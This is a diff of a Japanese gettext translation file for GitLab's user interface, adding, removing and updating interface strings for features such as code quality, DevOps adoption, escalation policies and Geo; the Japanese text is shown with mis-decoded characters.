msgstr "åå‰ç©ºé–“ã®ãƒ—レフィックスを設定ã—ã¾ã™ã€‚設定ã•ã‚Œã¦ã„ãªã„å ´åˆã€ãƒ—ロジェクトパスãŒãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã«ãªã‚Šã¾ã™ã€‚変更ã•ã‚ŒãŸå ´åˆã€æ—¢å­˜ã®ç’°å¢ƒã¯ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã‚­ãƒ£ãƒƒã‚·ãƒ¥ãŒã‚¯ãƒªã‚¢ã•ã‚Œã‚‹ã¾ã§ã€ç¾åœ¨ã®åå‰ç©ºé–“を使用ã—ã¾ã™ã€‚"
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "パターン"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr "アクティブã§ã¯ãªã„ユーザー"
@@ -7927,6 +7997,9 @@ msgstr "コミット"
msgid "CommitMessage|Add %{file_name}"
msgstr "%{file_name} を追加"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "作者"
@@ -8065,9 +8138,6 @@ msgstr "コンプライアンスダッシュボード"
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr "コンプライアンスフレームワーク(オプション)"
@@ -8188,6 +8258,9 @@ msgstr "機密性"
msgid "Configuration"
msgstr "設定"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "GitLab Runner を設定ã—ã¦Web端末を使ã„始ã‚ã¾ã™ã€‚ 詳細ã¯%{helpStart} ã“ã¡ã‚‰%{helpEnd}ã‚’å‚照。"
@@ -8251,6 +8324,9 @@ msgstr "Rack 攻撃を防御ã™ã‚‹ãƒ‘スを設定ã—ã¾ã™ã€‚"
msgid "Configure repository mirroring."
msgstr "リãƒã‚¸ãƒˆãƒªã®ãƒŸãƒ©ãƒ¼ãƒªãƒ³ã‚°ã‚’設定ã—ã¾ã™ã€‚"
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -8942,7 +9021,7 @@ msgid "CorpusManagement|Total Size: %{totalSize}"
msgstr ""
msgid "CorpusMnagement|New corpus"
-msgstr ""
+msgstr "æ–°è¦ã‚³ãƒ¼ãƒ‘ス"
msgid "Could not add admins as members"
msgstr "管ç†è€…ã¯ãƒ¡ãƒ³ãƒãƒ¼ã¨ã—ã¦è¿½åŠ ã§ãã¾ã›ã‚“。"
@@ -9085,9 +9164,6 @@ msgstr "æ–°ã—ã„ドメインを作æˆ"
msgid "Create Project"
msgstr "プロジェクトを作æˆ"
-msgid "Create Value Stream"
-msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ ã‚’作æˆ"
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "ã¯ã˜ã‚ã«GitLabアカウントを作æˆã—ã€ãã®å¾Œ %{label} ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«æŽ¥ç¶šã—ã¾ã™ã€‚"
@@ -9118,9 +9194,6 @@ msgstr "æ–°ã—ã„リãƒã‚¸ãƒˆãƒªã‚’作æˆ"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "%{protocol} ã§ãƒ—ッシュやプルã™ã‚‹ãŸã‚ã®ã‚ãªãŸå€‹äººç”¨ã‚¢ã‚¯ã‚»ã‚¹ãƒˆãƒ¼ã‚¯ãƒ³ã‚’作æˆ"
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr "アカウントを作æˆã™ã‚‹ã€‚ãã®æ–¹æ³•:"
@@ -9172,6 +9245,9 @@ msgstr "グループを作æˆ"
msgid "Create group label"
msgstr "グループラベルを作æˆ"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "イシューã®ä½œæˆ"
@@ -9223,6 +9299,9 @@ msgstr "æ–°ã—ã„ファイルやディレクトリを作æˆã—ã¾ã™"
msgid "Create new label"
msgstr "ラベルã®æ–°è¦ä½œæˆ"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "æ–°è¦ä½œæˆ"
@@ -9256,6 +9335,9 @@ msgstr "最åˆã®ãƒšãƒ¼ã‚¸ã‚’作æˆã™ã‚‹"
msgid "Create your group"
msgstr "グループを作æˆ"
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr "カスタム範囲"
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr "ステージを追加"
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr "ステージを追加"
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr "ステージã®ç·¨é›†"
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr "新ステージ"
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr "ãã®ã‚¹ãƒ†ãƒ¼ã‚¸åã¯æ—¢ã«å­˜åœ¨ã—ã¦ã„ã¾ã™"
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr "開始イベントã®ãƒ©ãƒ™ãƒ«"
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr "ステージドロップダウン"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGã®å¯è¦–化ã«ã¯ã€å°‘ãªãã¨ã‚‚3ã¤ã®ä¾å­˜æ€§ã®ã‚るジョブãŒå¿…è¦ã§ã™ã€‚"
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr "コメントを削除"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ ã‚’削除"
@@ -10526,7 +10593,7 @@ msgid "Deleting a project places it into a read-only state until %{date}, at whi
msgstr ""
msgid "Deleting a user has the following effects:"
-msgstr ""
+msgstr "ユーザーã®å‰Šé™¤ã«ã¯æ¬¡ã®ã‚ˆã†ãªå½±éŸ¿ãŒã‚ã‚Šã¾ã™:"
msgid "Deleting the project will delete its repository and all related resources including issues, merge requests, etc."
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11274,7 +11368,7 @@ msgid "Disable Two-factor Authentication"
msgstr ""
msgid "Disable What's new"
-msgstr ""
+msgstr "What's newã®è¡¨ç¤ºã‚’無効ã«ã™ã‚‹"
msgid "Disable for this project"
msgstr "ã“ã®ãƒ—ロジェクトã§ã¯ç„¡åŠ¹ã«ã™ã‚‹"
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr "Pages サイトã¸ã®å…¬é–‹ã‚¢ã‚¯ã‚»ã‚¹ã‚’無効ã«ã™ã‚‹"
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "2è¦ç´ èªè¨¼ã‚’無効ã«ã™ã‚‹"
msgid "Disabled"
msgstr "無効"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr "無効化ã•ã‚ŒãŸãƒŸãƒ©ãƒ¼ã¯ã€ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹æ‰€æœ‰è€…ã ã‘ãŒæœ‰åŠ¹ã«ã§ãã¾ã™ã€‚削除ã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚"
@@ -11321,6 +11415,9 @@ msgstr "Discord 通知"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "GitLab Geo ã«ã¤ã„ã¦"
@@ -11374,7 +11471,7 @@ msgstr "解除"
msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
-msgstr[0] ""
+msgstr[0] "é¸æŠžã—㟠%d 件脆弱性を無視。ç†ç”±: "
msgid "Dismiss DevOps Report introduction"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr "ドラフト"
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr "期é™"
msgid "Duration"
msgstr "期間"
-msgid "Duration for the last 30 commits"
-msgstr "最新30コミットã®æœŸé–“"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "ã“ã®ãƒ—ロセスã®é€”中ã§ã€GitLab å´ã‹ã‚‰ã® URL ã‚’èžã‹ã‚Œã‚‹ã®ã§ã€æ¬¡ã® URL を使用ã—ã¦ãã ã•ã„。"
@@ -11688,9 +11800,6 @@ msgstr "公開デプロイキーã®ç·¨é›†"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "ステージã®ç·¨é›†"
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr "ElasticsearchãŒè¿”ã—ãŸã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚³ãƒ¼ãƒ‰: %{status_code}"
@@ -11874,15 +11986,15 @@ msgstr ""
msgid "Embed"
msgstr "埋ã‚è¾¼ã¿"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "空ã®ãƒ•ã‚¡ã‚¤ãƒ«"
msgid "Enable"
msgstr "有効化ã™ã‚‹"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Auto DevOps を有効ã«ã™ã‚‹"
@@ -11929,10 +12041,10 @@ msgid "Enable Spam Check via external API endpoint"
msgstr ""
msgid "Enable What's new: All tiers"
-msgstr ""
+msgstr "What's newã®è¡¨ç¤ºã‚’有効ã«ã™ã‚‹: ã™ã¹ã¦ã®ãƒ†ã‚£ã‚¢ã§æœ‰åŠ¹"
msgid "Enable What's new: Current tier only"
-msgstr ""
+msgstr "What's newã‚’ã®è¡¨ç¤ºã‚’有効ã«ã—ã¾ã™: ç¾åœ¨ã®ãƒ†ã‚£ã‚¢ã®ã¿"
msgid "Enable a Prometheus metrics endpoint at %{metrics_path} to expose a variety of statistics on the health and performance of GitLab. Additional information on authenticating and connecting to the metrics endpoint is available %{link}."
msgstr ""
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr "ミラー構æˆã‚’有効化"
msgid "Enable or disable Seat Link."
msgstr "シートリンクを有効ã¾ãŸã¯ç„¡åŠ¹ã«ã—ã¾ã™ã€‚"
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "匿å化データコレクション機能ã®æœ‰åŠ¹åŒ–ã¾ãŸã¯ç„¡åŠ¹åŒ–"
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr "担当者ã®ä¿å­˜ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "通知購読ã®åˆ‡ã‚Šæ›¿ãˆã§ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ブロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯éž
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ブロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ã€æœ‰åŠ¹åŒ–ã™ã‚‹ãŸã‚ã«ãƒ–ロックを解除ã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“"
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ユーザーã¯ãƒ–ロックã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
msgid "Error occurred. User was not confirmed"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ユーザーã¯ç¢ºèªã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ユーザーã¯ãƒ–ロック解除ã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr "隔週"
msgid "Every week"
-msgstr "毎週"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr "機能フラグ"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr "機能フラグã®å‹•ä½œã¯ã€ã‚¿ãƒ¼ã‚²ãƒƒãƒˆç’°å¢ƒã®çŠ¶æ³ã‚’定義ã™ã‚‹ãŸã‚ã®ä¸€é€£ã®ãƒ«ãƒ¼ãƒ«ã‚’作æˆã™ã‚‹ã“ã¨ã§æ§‹ç¯‰ã§ãã¾ã™ã€‚ %{boldStart}å…¨ã¦ã®ç’°å¢ƒ%{boldEnd} ã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®ãƒ¯ã‚¤ãƒ«ãƒ‰ã‚«ãƒ¼ãƒ‰ãƒ«ãƒ¼ãƒ« %{codeStart}*%{codeEnd} ãŒè¨­å®šã•ã‚Œã¦ãŠã‚Šã€ä»¥ä¸‹ã®ç’°å¢ƒä»•æ§˜ã‚’é¸æŠžã—ã¦ã€å¿…è¦ãªæ•°ã®ãƒ«ãƒ¼ãƒ«ãŒè¿½åŠ ã§ãã¾ã™ã€‚å„ルールã®å‹•ä½œã‚’切り替ãˆã¦ %{boldStart}アクティブ%{boldEnd} ã¾ãŸã¯ %{boldStart}éžã‚¢ã‚¯ãƒ†ã‚£ãƒ–%{boldEnd}ã«è¨­å®šã§ãã¾ã™ã€‚"
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr "機能フラグを使ã„ã¯ã˜ã‚ã‚‹"
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr "機能フラグを読ã¿è¾¼ã‚“ã§ã„ã¾ã™"
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "詳細情報"
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr "æ–°ã—ã„機能フラグ"
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr "ターゲット環境"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "機能フラグã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr "固定:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr "プロジェクトをフォーク?"
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "フォーク元"
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr "未確èª"
msgid "Geo|Next sync scheduled at"
msgstr "次回ã®åŒæœŸäºˆå®šæ—¥æ™‚"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "ã¾ã åŒæœŸã—ã¦ã„ã¾ã›ã‚“。"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "ä¸æ˜ŽãªçŠ¶æ…‹"
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "åŒæœŸã«å¤±æ•—ã—ã¾ã—㟠- %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr "HTTPSを強制 (有効ãªè¨¼æ˜Žæ›¸ãŒå¿…è¦)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "最åˆã®ãƒ‡ãƒ—ロイ後ã€ã‚µã‚¤ãƒˆãŒåˆ©ç”¨å¯èƒ½ã«ãªã‚‹ã¾ã§ã«æœ€å¤§ã§30分ã‹ã‹ã‚‹å ´åˆãŒã‚ã‚Šã¾ã™ã€‚"
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr "GitLabPagesã®ãƒšãƒ¼ã‚¸ã®æœ€å¤§ã‚µã‚¤ã‚ºï¼ˆMB)"
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr "全画é¢è¡¨ç¤º"
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr "コミットã¸ç§»å‹•"
@@ -15125,6 +15331,9 @@ msgstr "親ã«ç§»å‹•"
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "プロジェクトã«ç§»å‹•"
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "アクティブ"
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr "グループ情報:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr "グループ変数(継承)"
@@ -15398,13 +15613,16 @@ msgstr "グループ: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
